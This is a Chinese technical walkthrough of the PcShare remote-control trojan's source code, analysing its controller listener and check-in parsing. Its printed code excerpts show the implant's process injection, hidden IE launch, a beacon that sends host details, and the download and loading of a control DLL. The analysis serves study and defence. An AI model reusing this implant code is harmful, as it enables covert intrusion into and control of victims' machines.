0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

安全開發(fā)之Pcshare流程分析

蛇矛實(shí)驗(yàn)室 ? 來源:蛇矛實(shí)驗(yàn)室 ? 2023-01-17 09:57 ? 次閱讀

前言

pcshare 是一款功能強(qiáng)大的計(jì)算機(jī)遠(yuǎn)程控制軟件,采用 HTTP 反向通信,有超強(qiáng)的隱藏和自我修復(fù)等功能。

代碼下載:https://github.com/xdnice/PCShare

源碼編譯

源碼下載之后,直接升級(jí)編譯即可。

打開 pcshare 解決方案文件,有 12 個(gè)工程。

518be8d2-95bf-11ed-bfe3-dac502259ad0.png

其中 PcShare 為遠(yuǎn)程控制的控制端主工程界面,PcStat 為被控端的母體文件,PcClient 為 PcStat 釋放并加載的被控端組成之一,主要用于建立 HTTP 連接,并將本地主機(jī)信息通過 HTTP GET 請(qǐng)求方式發(fā)送給控制端進(jìn)行上線,建立 HTTP 上線連接成功后,會(huì)請(qǐng)求并下載后續(xù)進(jìn)行交互執(zhí)行具體命令請(qǐng)求的控制 dll---PcCortr,后續(xù)的交互操作就是控制端下達(dá)控制命令,由控制 dll 執(zhí)行命令,并將命令的執(zhí)行結(jié)果反饋給控制端顯示,以此來達(dá)到遠(yuǎn)程控制目標(biāo)主機(jī)的目的。

代碼分析

為了方便調(diào)試分析 pcshare 的交互過程,需要提前設(shè)置一些配置屬性,在被控端的母體程序中將控制端的 ip 地址和端口號(hào)以及下發(fā)控制 dll 的文件名稱和被控端啟動(dòng)方式在 PcStat 工程中配置了(PcStat.cpp CPcStatApp::InsertDllToProcess 中進(jìn)行配置 L76)。

519b24aa-95bf-11ed-bfe3-dac502259ad0.png

這些啟動(dòng)配置信息根據(jù)實(shí)際情況進(jìn)行設(shè)置。

pcshare 服務(wù)端邏輯

首先看一下 pcshare 網(wǎng)絡(luò)框架的服務(wù)端部分。

一般來說網(wǎng)絡(luò)程序分為服務(wù)端和客戶端程序。pcshare 的服務(wù)端程序集成在控制端中(PcShare 工程),其采用 MFC 框架編寫,所以從 CPcShareApp::InitInstance 函數(shù)查看控制端程序邏輯,在該函數(shù)內(nèi)部,在進(jìn)行了一些初始化操作之后,會(huì)通過 CMainFrame::StartWork 函數(shù)建立網(wǎng)絡(luò)服務(wù)。

建立網(wǎng)絡(luò)服務(wù)前的初始化操作包括:

* 創(chuàng)建名為 `PcShare2005` 的互斥體對(duì)象,保證單一實(shí)例運(yùn)行;

* 初始化 windows 下 socket 環(huán)境;

* 初始化界面相關(guān)信息。

BOOL CPcShareApp::InitInstance()
{
//保證只啟動(dòng)一次
m_LockHandle = CreateMutex(NULL,TRUE,"PcShare2005");
if(m_LockHandle == NULL||
GetLastError() == ERROR_ALREADY_EXISTS)
returnFALSE;
ReleaseMutex(m_LockHandle);

//初始化SOCKET環(huán)境
WSADATA data;
if(WSAStartup(MAKEWORD(2, 2), &data))
returnFALSE;
if(LOBYTE(data.wVersion) !=2|| 
HIBYTE(data.wVersion) != 2)
{
WSACleanup();
returnFALSE;
}

//初始化控件環(huán)境
AfxEnableControlContainer();
//Enable3dControls(); 
CoInitialize(NULL);

memset(&m_MainValue, 0, sizeof(m_MainValue));

//啟動(dòng)主界面
CMainFrame* pFrame = newCMainFrame;
m_pMainWnd = pFrame;
pFrame->LoadFrame(IDR_MAINFRAME);
pFrame->ShowWindow(SW_SHOWMAXIMIZED);
pFrame->ResizeWnd();
pFrame->UpdateWindow();

pFrame->StartWork();
returnTRUE;
}

在 CMainFrame::StartWork 函數(shù)內(nèi)部,完成了4件事

* 獲取本地 IP 地址列表,顯示到事件窗口中;

* 設(shè)置窗口標(biāo)題:`PcShare2005(VIP版本)-主控界面: 【本機(jī)ip地址列表】` ;

* 通過讀取配置文件獲取開啟 TCP 服務(wù)器監(jiān)聽的端口號(hào),并開啟監(jiān)聽(SOCKET StartTcp(WORD Port));

* 開啟一個(gè)工作線程用于等待被控端連接,線程函數(shù)為 MyGlobalFuc.cpp --- SOCKET StartTcp(WORD Port) 函數(shù)

voidCMainFrame::StartWork()
{
//連接主頁

//取INI文件名稱
charm_IniFileName[256] = { 0};
GetIniFileName(m_IniFileName);

//取IP地址列表信息
PHOSTENT hostinfo;
charname[512] = { 0};
if(gethostname(name, sizeof(name)) != 0||
(hostinfo = gethostbyname(name)) == NULL)
{
ShowMyText("取本地地址列表失敗", TRUE);
return;
}
CString m_AddrList;
structsockaddr_in dest;
for(inti = 0; hostinfo->h_addr_list[i] != NULL; i++)
{
memcpy(&(dest.sin_addr),
hostinfo->h_addr_list[i],
hostinfo->h_length);
m_AddrList += inet_ntoa(dest.sin_addr);
m_AddrList += "-";
}
charm_Text[512] = { 0};
sprintf(m_Text, "本機(jī)IP地址列表:【%s】",
m_AddrList.Left(m_AddrList.GetLength() - 1));
ShowMyText(m_Text, FALSE);
wsprintf(m_Text, "PcShare2005(VIP版本)-主控界面: %s", m_AddrList.Left(m_AddrList.GetLength() - 1));
SetWindowText(m_Text);

//打開上線偵聽端口
charm_sPortMain[100] = { 0};
GetPrivateProfileString("設(shè)置", "自動(dòng)上線連接端口", "80", m_sPortMain, 99, m_IniFileName);
m_MainSocket = StartTcp(atoi(m_sPortMain));
if(m_MainSocket == NULL)
{
ShowMyText("控制端口被占用,初始化失敗,請(qǐng)關(guān)閉iis服務(wù)!", TRUE);
return;
}
wsprintf(m_Text, "本機(jī)偵聽端口【%s】", m_sPortMain);
ShowMyText(m_Text, FALSE);

//啟動(dòng)偵聽線程
ShowMyText("初始化成功,等待客戶連接", FALSE);
UINTm_Id = 0;
_beginthreadex(NULL, 0, MyMainThread, (LPVOID)m_MainSocket, 0, &m_Id);
}

其中 SOCKET StartTcp(WORD Port) 函數(shù)主要完成了對(duì)服務(wù)端監(jiān)聽套接字的配置,在函數(shù)內(nèi)部會(huì)完成開啟網(wǎng)絡(luò)服務(wù)的操作,其中包括:

* 創(chuàng)建一個(gè)`阻塞`的 socket;

* 綁定本機(jī)地址(INADDR\_ANY);

* 設(shè)置 socket 發(fā)送和接收數(shù)據(jù)的超時(shí)時(shí)間;

* 監(jiān)聽從配置文件獲取到的端口號(hào);

如果一切執(zhí)行順利,將返回一個(gè)阻塞的 socket,并開啟網(wǎng)絡(luò)服務(wù)監(jiān)聽。

SOCKET StartTcp(WORD Port)
{
SOCKET sListenSocket;
sockaddr_in addr;
intoptval = 600* 1000;

memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;

addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(Port);

sListenSocket = socket(AF_INET, SOCK_STREAM, 0);
if(sListenSocket == INVALID_SOCKET)
returnNULL;

if(bind(sListenSocket, (sockaddr*)&addr, sizeof(addr))
== SOCKET_ERROR)
{
closesocket(sListenSocket);
returnNULL;
}

if(setsockopt(sListenSocket, SOL_SOCKET, SO_SNDTIMEO,
(char*)&optval, sizeof(optval))
== SOCKET_ERROR)
{
closesocket(sListenSocket);
returnNULL;
}

if(setsockopt(sListenSocket, SOL_SOCKET, SO_RCVTIMEO,
(char*)&optval, sizeof(optval))
== SOCKET_ERROR)
{
closesocket(sListenSocket);
returnNULL;
}

if(listen(sListenSocket, SOMAXCONN) == SOCKET_ERROR)
{
closesocket(sListenSocket);
returnNULL;
}

returnsListenSocket;
}

創(chuàng)建的工作線程最終將會(huì)執(zhí)行 MyMainThread 函數(shù)(MyThreadFunc.cpp),該函數(shù)主要完成了

* 等待被控端客戶端連接;

* 為每個(gè)被控端創(chuàng)建一個(gè)線程處理后續(xù)的交互。

一旦有被控端成功接入,將得到一個(gè)新的 socket ,這個(gè) socket 區(qū)別與之前開啟網(wǎng)絡(luò)服務(wù)創(chuàng)建的監(jiān)聽 socket ,該處的 socket 用于與連接上的被控端進(jìn)行通信。由于監(jiān)聽 socket 是阻塞的,所以,此處的 accept 函數(shù)會(huì)在沒等到被控端成功接入時(shí)會(huì)一直阻塞所屬的工作線程的執(zhí)行。所以這就是為什么又要額外的為每一個(gè)被控端創(chuàng)建一個(gè)單獨(dú)的線程進(jìn)行后續(xù)交互。另外這個(gè)無限循環(huán)只有當(dāng) accept 調(diào)用失敗才會(huì)退出。

//偵聽線程
UINTWINAPI MyMainThread(LPVOID lPvoid)
{
UINTm_Id = 0;
SOCKET m_LisSocket = (SOCKET)lPvoid;
SOCKET m_AccSocket = 0;
while(1)
{
//等待客戶連接
if((m_AccSocket = accept(m_LisSocket, 0, 0)) == INVALID_SOCKET)
break;

//啟動(dòng)客戶簽到線程
_beginthreadex(NULL, 0, MyChildThread, (LPVOID)m_AccSocket, 0, &m_Id);
}
closesocket(m_LisSocket);
return0;
}

此時(shí)線程情況如下。

51b81402-95bf-11ed-bfe3-dac502259ad0.png

一旦有被控端成功接入成功,程序?qū)?chuàng)建一個(gè)工作線程用于與接入的被控端進(jìn)行交互,該線程的執(zhí)行流函數(shù)為 MyChildThread(MyThreadFunc.cpp)

在該線程函數(shù)的回調(diào)函數(shù)內(nèi)部,通過 AcceptClientMain (MyGlobalFuc.cpp L64)解析被控端的登陸請(qǐng)求,成功解析后會(huì)獲得被控端請(qǐng)求的類型。

//接收連接線程
UINTWINAPI MyChildThread(LPVOID lPvoid)
{
LOG_NORMAL("Start MyChildThread successfully, ThreadID = %u.", ::GetCurrentThreadId());

//交易處理
SOCKET sClientSocket = (SOCKET)lPvoid;
CLIENTITEMclientItem = { 0};
intnCmd = AcceptClientMain(sClientSocket, &clientItem);

LOG_NORMAL("Client cmd = %d", nCmd);
if(nCmd == -1)
closesocket(sClientSocket);
elseif(nCmd == CONN_MAIN)
LoginTrans(sClientSocket, &clientItem);
else
InterTrans(sClientSocket, &clientItem, nCmd);
return0;
}

在 AcceptClientMain 函數(shù)中

首先解析被控端發(fā)送的 HTTP 請(qǐng)求頭

之后解析 GET 請(qǐng)求的數(shù)據(jù),根據(jù)雙方規(guī)定的消息格式,進(jìn)行解析

intAcceptClientMain(SOCKET s,LPCLIENTITEM pData)
{
charch = 0;
intnlinelen = 0;
charslinedata[8192] = {0};
intret = 0;

//接收一行數(shù)據(jù)
while(1)
{
//接收一個(gè)字符
ret = recv(s,&ch,1,0);
if(ret == 0|| ret == SOCKET_ERROR || m_MainValue.m_IsMainExit)
return-1;

//提取數(shù)據(jù)
slinedata[nlinelen] = ch;
if(nlinelen >= 4&&
slinedata[nlinelen] == '
'&&
slinedata[nlinelen - 1] == '
'&&
slinedata[nlinelen - 2] == '
'&&
slinedata[nlinelen - 3] == '
')
break;

if(nlinelen++ > 8000)
return-1;
}

TRACE("%s
",slinedata);

char* pFlag = strchr(slinedata,'/');
if(pFlag == NULL) return-1;
if(*(pFlag + 1) == '/')
{
pFlag += 2;
pFlag = strchr(pFlag,'/');
if(pFlag == NULL) return-1;
}
pFlag ++;

//取連接類型
charm_sCommand[10] = {0};
memcpy(m_sCommand,pFlag,4);
intm_Command = atoi(m_sCommand);

//查看命令是否合法
if(m_Command > 4999|| m_Command < 3000)
????????return?-1;

????//拷貝login數(shù)據(jù)
????AscToBcd((BYTE*)(pFlag + 4), (BYTE*) &pData->m_SysInfo, sizeof(LOGININFO) * 2);
returnm_Command;
}

在測(cè)試過程中,接收到的請(qǐng)求頭為:

51cea122-95bf-11ed-bfe3-dac502259ad0.png

其中雙方的消息格式,用結(jié)構(gòu)體表示如下,可以結(jié)合被控端的請(qǐng)求對(duì)應(yīng)來看。

structLogin
{
intcommand; // 命令號(hào),前四個(gè)字符
charexternData[2048]; // 后面的數(shù)據(jù)
};

被控端使用 GET 請(qǐng)求的 URL :

51e63f44-95bf-11ed-bfe3-dac502259ad0.png

AcceptClientMain 函數(shù)經(jīng)過一定處理后,會(huì)解析出命令號(hào)

5202a68e-95bf-11ed-bfe3-dac502259ad0.png

之后在還原登陸請(qǐng)求,該登陸請(qǐng)求為被控端主機(jī)相關(guān)信息,具體在后續(xù)被控端分析。

解析完成后,將根據(jù)解析出來的命令號(hào),來決定走哪一個(gè)分支:

52236b94-95bf-11ed-bfe3-dac502259ad0.png

當(dāng)是上線請(qǐng)求時(shí),會(huì)執(zhí)行 LoginTrans 函數(shù) (MyThreadFunc.cpp),在該函數(shù)內(nèi)部

首先響應(yīng)客戶端的請(qǐng)求;

之后下發(fā)控制文件 dll,被控端將下載這個(gè) dll 文件進(jìn)行后續(xù)控制;

如果該連接已經(jīng)上線,那么啟動(dòng)套接字關(guān)閉事件通知,從界面上移除該主機(jī);

填充客戶端信息,通知 UI 界面(通過發(fā)送消息 WM_ADDCLIENT),添加一個(gè)新的客戶端信息。

voidLoginTrans(SOCKET s, LPCLIENTITEM pData)
{
//回送確認(rèn)包頭信息
if(!SendKeepAlive(s))
return;

//發(fā)送機(jī)器控制文件
charm_FileName[512] = "PcCortr.dll";
GetMyFilePath(m_FileName);
if(!SendFile(s, m_FileName))
return;

//支持自動(dòng)更新
if(pData->m_SysInfo.m_PcName[61] == 1)
{
strcpy(m_FileName, "PcStat.exe");
GetMyFilePath(m_FileName);
if(!SendFile(s, m_FileName))
return;

strcpy(m_FileName, "PcClient.dll");
GetMyFilePath(m_FileName);
if(!SendFile(s, m_FileName))
return;
}

//啟動(dòng)套接字關(guān)閉事件通知
if(WSAAsyncSelect(s, m_MainValue.m_MainhWnd, WM_CLOSEITEM, FD_CLOSE) == SOCKET_ERROR)
{
closesocket(s);
return;
}

//填充客戶信息
sockaddr_in m_addr = { 0};
intaddrlen = sizeof(sockaddr_in);
getpeername(s, (sockaddr*)&m_addr, &addrlen);
charmTid[9] = { 0};
memcpy(mTid, pData->m_SysInfo.ID, 8);

sprintf(pData->m_Title, "%03d.%03d.%03d.%03d:%s",
m_addr.sin_addr.S_un.S_un_b.s_b1,
m_addr.sin_addr.S_un.S_un_b.s_b2,
m_addr.sin_addr.S_un.S_un_b.s_b3,
m_addr.sin_addr.S_un.S_un_b.s_b4,
mTid);
CTime tLogin = CTime::GetCurrentTime();
pData->m_LoginTime = (time_t)tLogin.GetTime();
pData->m_WorkSocket = s;

//通知主框架建立了連接
if(!SendMessage(m_MainValue.m_MainhWnd, WM_ADDCLIENT, (WPARAM)pData, 0))
{
closesocket(s);
}
}

此時(shí),主控端界面上將顯示上線的被控端信息

523c8188-95bf-11ed-bfe3-dac502259ad0.png

其中響應(yīng)被控端的請(qǐng)求是通過 SendKeepAlive (MyThreadFunc.cpp)函數(shù)完成的:

拼接出響應(yīng)被控端請(qǐng)求的響應(yīng)頭;

之后通過 SendData 函數(shù)響應(yīng)被控端請(qǐng)求。

boolSendKeepAlive(SOCKET s)
{
charm_sCommand[512] = { 0};
charm_Strlen[256];
strcpy(m_sCommand, "HTTP/1.1 200 OK
");
strcat(m_sCommand, "Server: Microsoft-IIS/5.0
");
CTime t = CTime::GetCurrentTime();
sprintf(m_Strlen, "Date: %s GMT
",
t.FormatGmt("%a, %d %b %Y %H:%M:%S"));
strcat(m_sCommand, m_Strlen);
sprintf(m_Strlen, "Content-Length: %d
"
, 1024* 1024* 1024);
strcat(m_sCommand, m_Strlen);
strcat(m_sCommand, "Connection: Close
");
strcat(m_sCommand, "Cache-Control: no-cache

");
if(!SendData(s, m_sCommand, strlen(m_sCommand)))
{
closesocket(s);
returnfalse;
}
returntrue;
}

拼接出的響應(yīng)頭:

526586e6-95bf-11ed-bfe3-dac502259ad0.png

響應(yīng)代碼是通過 SendData (MyGlobalFuc.cpp)完成的,內(nèi)部就是不斷發(fā)送指定長(zhǎng)度的數(shù)據(jù)給對(duì)端。

BOOLSendData(SOCKET s, char*data, intlen)
{
char* p = data;
inti = 0;
intk = len;
intret = 0;

if(len <= 0) return?TRUE;
????while?(1)
????{
????????ret = send(s, p, k, 0);
????????if?(ret == 0?|| ret == SOCKET_ERROR
????????????|| g_MainValue.m_IsMainExit)
????????{
????????????TRACE("SendData OUT,%d
", WSAGetLastError());
????????????return?FALSE;
????????}
????????i += ret;
????????p += ret;
????????k -= ret;
????????if?(i >= len) break;
}
returnTRUE;
}

其中下發(fā)控制文件 dll 是通過讀取當(dāng)前工作目錄下的 PcCortr.dll 文件內(nèi)容,并通過 SendFile (MyThreadFunc.cpp)下發(fā)至被控端。

BOOL SendFile(SOCKET s, char* pFileName)
{
FILE* fp = fopen(pFileName, "rb");
if(fp == NULL)
{
closesocket(s);
returnFALSE;
}
fseek(fp, 0, SEEK_END);
intnLen = ftell(fp);
fseek(fp, 0, SEEK_SET);
char* pFileBuf = newchar[nLen];
fread(pFileBuf, nLen, 1, fp);
fclose(fp);
if(!SendData(s, (char*)&nLen, sizeof(int)) ||
!SendData(s, pFileBuf, nLen))
{
delete[] pFileBuf;
closesocket(s);
returnFALSE;
}
delete[] pFileBuf;
returnTRUE;
}

至此,服務(wù)端處理被控端的上線邏輯分析完畢。

當(dāng)然,還有一個(gè)分支邏輯是與控制 DLL 進(jìn)行后續(xù)通信的,在此沒做分析。

pchsare 客戶端邏輯

客戶端的執(zhí)行邏輯,可以分為3個(gè)階段。

* 第一階段:執(zhí)行母體程序 PcStat.exe ,用于釋放出用于建立 HTTP 連接進(jìn)行上線的 PcClient.dll;

* 第二階段:PcClient.dll 被加載執(zhí)行,與控制端建立 HTTP 連接,發(fā)送上線請(qǐng)求,并接收第三階段的控制 DLL (PcCortr.dll),之后加載控制 dll ,進(jìn)入第三階段;

* 第三階段:與控制端建立發(fā)送和接收的 HTTP 通道,進(jìn)行后續(xù)的控制指令交互。

第一階段:釋放并加載上線 DLL

第一階段的邏輯可以從被控端的母體程序 PcStat 工程進(jìn)行分析,同樣 PcStat 是一個(gè) MFC 程序,直接從 CPcStatApp::InitInstance 進(jìn)行查看,從代碼邏輯上看,母體文件最終會(huì)釋放上線 DLL 文件(CPcStatApp::LoadInitInfo PcStat.cpp L185),但為了方便調(diào)試,這里直接加載了第二階段執(zhí)行的 DLL 文件(PcClient.dll)。

BOOLCPcStatApp::InitInstance()
{
// __asm{int 3};

//創(chuàng)建任務(wù)事件
m_ExitEvent = CreateEvent(NULL,TRUE,FALSE,AfxGetAppName());
if(m_ExitEvent == NULL|| GetLastError() == ERROR_ALREADY_EXISTS) 
returnFALSE;

//生成連接庫文件
charm_FileName[256] = {0};
if(!LoadInitInfo(m_FileName)) returnFALSE;

//裝載連接dll
//HMODULE m_Module = LoadLibrary(m_FileName);
HMODULE m_Module = LoadLibrary("PcClient.dll");
if(m_Module == NULL) returnFALSE;

//啟動(dòng)連接
InsertDllToProcess(m_Module);

//釋放資源
FreeLibrary(m_Module);
returnTRUE;
}

釋放成功后,母體程序會(huì)加載釋放的 DLL 并調(diào)用其導(dǎo)出函數(shù) PcClient.dll 執(zhí)行,在 CPcStatApp::InsertDllToProcess 函數(shù)內(nèi)部,獲得了 PlayWork 的函數(shù)地址后,將根據(jù)生成器中配置的啟動(dòng)方式,決定上線 DLL 的執(zhí)行方式。

voidCPcStatApp::InsertDllToProcess(HMODULE m_Module)
{
//取PcClient.dll中導(dǎo)出函數(shù)PlayWork
PLAYWORK PlayWork = (PLAYWORK)GetProcAddress(m_Module, "PlayWork");
if(PlayWork == NULL) return;

// for debugging
m_Info.m_ProcessName[0] = 2;
strcpy(m_Info.m_ServerAddr, "127.0.0.1");
m_Info.m_ServerPort = 8081;
strcpy(m_Info.m_CtrlFile, "PcCortr.dll");

if(m_Info.m_ProcessName[0] == 0)
{
//插入到explorer.exe進(jìn)程
if(!CheckProcess(m_Info.m_ProcessId))
{
//關(guān)閉等待事件句柄
CloseHandle(m_ExitEvent);
return;
}
}
elseif(m_Info.m_ProcessName[0] == 1)
{
//插入到自啟動(dòng)ie
PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;

// Set up members of STARTUPINFO structure. 
ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
GetStartupInfo(&siStartInfo);
siStartInfo.cb = sizeof(STARTUPINFO);
siStartInfo.wShowWindow = SW_HIDE;
siStartInfo.dwFlags = STARTF_USESHOWWINDOW;

charm_IePath[256] = "C:\Program Files\Internet Explorer\IEXPLORE.EXE";
charm_SysPath[256] = { 0};
GetSystemDirectory(m_SysPath, 200);
m_IePath[0] = m_SysPath[0];
if(!CreateProcess(m_IePath, NULL, NULL, NULL, TRUE,
DETACHED_PROCESS, NULL, NULL, &siStartInfo, &piProcInfo))
{
CloseHandle(m_ExitEvent);
return;
}

//等待進(jìn)程初始化
m_Info.m_ProcessId = (UINT)piProcInfo.dwProcessId;
WaitForInputIdle(piProcInfo.hProcess, 3000);
}
else
{
LOG_NORMAL("Application runs in standard-alone mode.");
//本進(jìn)程啟動(dòng)
PlayWork(&m_Info);
WaitForSingleObject(m_ExitEvent, INFINITE);
CloseHandle(m_ExitEvent);
return;
}

//插入指定進(jìn)程
if(PlayWork(&m_Info))
{
EnumWindows(EnumWindowsProc, m_Info.m_ProcessId);
WaitForSingleObject(m_ExitEvent, INFINITE);
}

//關(guān)閉等待事件句柄
CloseHandle(m_ExitEvent);
}

第二階段:請(qǐng)求上線,下載控制 DLL

跟隨程序的邏輯,最終可定位到 PcClient 工程的 BOOL PlayWork(LPINITDLLINFO pInitInfo) 函數(shù)。

在 PlayWork 函數(shù)內(nèi)部,通過獲取母體程序中嵌入的啟動(dòng)配置信息后,最終會(huì)調(diào)用 void SshWork::StartWork(LPINITDLLINFO pItem) 函數(shù)進(jìn)入主邏輯流程。

BOOLPlayWork(LPINITDLLINFO pInitInfo)
{
//拷貝數(shù)據(jù)
memcpy(&g_InitInfo, pInitInfo, sizeof(INITDLLINFO));

//自進(jìn)程啟動(dòng)
if(pInitInfo->m_ProcessName[0] == 2)
{
g_SshWork.StartWork(&g_InitInfo);
returnTRUE;
}

//檢查是否已經(jīng)啟動(dòng)
if(g_hook != NULL) returnFALSE;

//啟動(dòng)HOOK
g_hook = SetWindowsHookEx(WH_DEBUG, GetMsgProc, ghInstance, 0);
return(g_hook != NULL);
}

在 StartWork 函數(shù)內(nèi)部的尾部會(huì)開啟一個(gè)工作線程與控制端進(jìn)行連接通信,其線程的執(zhí)行流為 UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid) 函數(shù)。

voidSshWork::StartWork(LPINITDLLINFO pItem)
{
//拷貝數(shù)據(jù)
memcpy(&m_InitInfo, pItem, sizeof(INITDLLINFO));
m_ExitEvent = CreateEvent(NULL, TRUE, FALSE, NULL);

// ...

//啟動(dòng)相應(yīng)工作線程序
UINTuThreadID = 0;
m_Thread = (HANDLE)_beginthreadex(NULL, 0, SSH_WorkThread, (LPVOID) this, 0, &uThreadID);
}

在 SSH_WorkThread 函數(shù)內(nèi)部,會(huì)通過 GetHttpConnect 函數(shù)與主控端建立 HTTP 連接,并下載后續(xù)的持久化模塊(PcCortr.dll),并加載到內(nèi)存中,如果一切順利,就獲取 PcCortr.dll 模塊的導(dǎo)出函數(shù) ProcessTrans 并執(zhí)行。在這個(gè) while 循環(huán)中,每次循環(huán)將等待 3s ,用來判斷是否有退出事件發(fā)生。一旦發(fā)生就會(huì)退出線程循環(huán),并銷毀資源,退出程序。

UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid)
{
//取工作指針
SshWork* pWork = (SshWork*) lPvoid;

//開始進(jìn)入工作循環(huán)
while(1)
{
//建立連接
if(pWork->GetHttpConnect(&pWork->m_InitInfo))
{
//連接成功,開始處理交易
PROCESSTRANS ProcessTrans = (PROCESSTRANS) 
GetProcAddress(pWork->hCtrlMd,"ProcessTrans");
if(ProcessTrans != NULL)
ProcessTrans(pWork->hFp , pWork->m_ExitEvent ,
pWork->m_InitInfo.m_ServerAddr ,
pWork->m_InitInfo.m_ServerPort ,
pWork->m_InitInfo.m_KeyName ,
pWork->m_InitInfo.m_ParentFile);
}

//休息等待指定時(shí)間
if(WaitForSingleObject(pWork->m_ExitEvent,
30000) != WAIT_TIMEOUT)
break;
}

//銷毀資源
pWork->StopWork();
ExitProcess(0);
return0;
}

該程序模塊是通過 GetHttpConnect 函數(shù)進(jìn)行 HTTP 連接的,其中建立連接使用的 API 函數(shù)為 Windows 封裝好的 WinHttp 相關(guān)的 API,其一般的建立連接步驟是

1. 調(diào)用 `InternetOpen` 函數(shù)初始化 Internet API 的環(huán)境,并獲得一個(gè)指向 Internet API 環(huán)境的句柄;

2. 調(diào)用 `InternetConnect` 函數(shù)建立連接到指定服務(wù)器;

3. 調(diào)用 `InternetOpenUrl` 建立 HTTP 連接和發(fā)送 HTTP 請(qǐng)求;

4. 調(diào)用 `InternetReadFile` 函數(shù)接收服務(wù)器返回的數(shù)據(jù)。

5. 在完成交互之后,調(diào)用 `InternetCloseHandle` 函數(shù)關(guān)閉句柄。

在 GetHttpConnect 函數(shù)內(nèi)部,就是對(duì)上述 API 進(jìn)行二次封裝,并添加了一些請(qǐng)求設(shè)置和響應(yīng)判斷,比如:

* 調(diào)用 `InternetSetOption` 函數(shù)設(shè)置接收超時(shí)時(shí)間為24小時(shí)。

* 調(diào)用 `HttpQueryInfo` 函數(shù)查看請(qǐng)求的返回碼,如果是 200 表示服務(wù)器成功處理請(qǐng)求。

之后就調(diào)用 DownloadFile 函數(shù)從服務(wù)器下載后續(xù)的持久化控制 dll,在此之前會(huì)判斷該 dll 是否已經(jīng)被加載,如果已經(jīng)被加載,那么會(huì)將原來的卸載在重新從服務(wù)器拉取,并加載到內(nèi)存中,后續(xù)根據(jù)控制 dll 的啟動(dòng)方式選擇是否更新。

BOOLSshWork::GetHttpConnect(LPINITDLLINFO pInfo)
{
//關(guān)閉句柄
if(hIe != NULL)
{
CloseHttpHandle();
Sleep(2000);
}

//設(shè)置最大連接數(shù)量為100
DWORD nValue = 100;
if( !InternetSetOption(NULL,73,&nValue,sizeof(DWORD)) ||
!InternetSetOption(NULL,74,&nValue,sizeof(DWORD)))
returnFALSE;

//查看是否有ddns
if(strlen(pInfo->m_DdnsUrl) != 0)
{
//需要分析DDNS
if(!GetDesServerInfo(pInfo, pInfo->m_DdnsUrl))
{
if(!GetDesServerInfo(pInfo, pInfo->m_BakUrl)) 
{
//檢查兩層DDNS
returnFALSE;
}
}
}

//初始化HTTP環(huán)境
hIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
"Windows NT 5.0; .NET CLR 1.1.4322)",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(!hIe) returnFALSE;

//填充上送當(dāng)前客戶信息
charm_Url[4096] = {0};
charm_ExternData[2048] = {0};
GetMySysInfo(m_ExternData);
sprintf(m_Url,"http://%s:%d/%d%s",
pInfo->m_ServerAddr,pInfo->m_ServerPort,
CONN_MAIN,m_ExternData);

//建立HTTP連接,上送數(shù)據(jù)
hFp = InternetOpenUrl(hIe , 
m_Url , NULL, 0,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_RELOAD|
INTERNET_FLAG_NO_CACHE_WRITE , 0);
if(!hFp)
{
CloseHttpHandle();
returnFALSE; 
}

DWORD m_TimeOut = 24* 3600* 1000;
if(!InternetSetOption(hFp,
INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD)))
{
CloseHttpHandle();
returnFALSE;
}

//查看返回碼
charsCode[256] = {0};
DWORD nSize = 250;
DWORD nIndex = 0;
if(!HttpQueryInfo(hFp , HTTP_QUERY_STATUS_CODE , 
sCode , &nSize , &nIndex) || atoi(sCode) != 200)
{
CloseHttpHandle();
returnFALSE;
}

//查看控制dll是否已經(jīng)裝載
if(hCtrlMd) FreeLibrary(hCtrlMd);

//接收控制文件
if(!DlFile(m_InitInfo.m_CtrlFile))
{
CloseHttpHandle();
returnFALSE; 
}

//裝載控制dll文件
hCtrlMd = LoadLibrary(m_InitInfo.m_CtrlFile);
if(hCtrlMd == NULL)
{
CloseHttpHandle();
returnFALSE; 
}

//當(dāng)不是本進(jìn)程啟動(dòng)的時(shí)候,更新本進(jìn)程
if(m_InitInfo.m_ProcessName[0] != 2)
{
if(!UpdateExeFile())
{
CloseHttpHandle();
returnFALSE; 
}
}

returnTRUE;
}

其中在使用 InternetOpenUrl 函數(shù)建立 HTTP 請(qǐng)求的 URL 是根據(jù)當(dāng)前主機(jī)的信息與服務(wù)器的 ip 和 port 拼接而成的。

ip 和 port 是通過生成器提前寫入母體文件傳遞過來的,當(dāng)前主機(jī)的信息則是通過自寫 GetMySysInfo 函數(shù)獲取得到的。

在函數(shù)內(nèi)部,程序會(huì)獲取當(dāng)前主機(jī)的操作系統(tǒng)類型、CPU信息(速度和個(gè)數(shù))、內(nèi)存容量、計(jì)算機(jī)名稱、當(dāng)前用戶名稱、獲取 C 盤的序列號(hào)并進(jìn)行一定的加密(計(jì)算機(jī)名稱前8個(gè)字符和轉(zhuǎn)換后的 C 盤序列號(hào))作為被控端的唯一標(biāo)識(shí)(16個(gè)字符);在收集完成后,最終將轉(zhuǎn)為一串由 0 和 1 組成的字符串。

voidSshWork::GetMySysInfo(char* pTransData)
{
LOGININFO m_SysInfo = { 0};

//取操作系統(tǒng)
m_SysInfo.m_SysType = IsShellSysType();

//取CPU信息
SYSTEM_INFO m_pSysInfo = { 0};
GetSystemInfo(&m_pSysInfo);
m_SysInfo.m_CpuSpeed = getCpuSpeedFromRegistry();
m_SysInfo.m_CpuCount = (UINT)m_pSysInfo.dwNumberOfProcessors;

//取內(nèi)存容量
MEMORYSTATUS Buffer = { 0};
GlobalMemoryStatus(&Buffer);
m_SysInfo.m_MemContent = Buffer.dwTotalPhys / 1024; 

//計(jì)算機(jī)名稱
DWORD m_Len = 63;
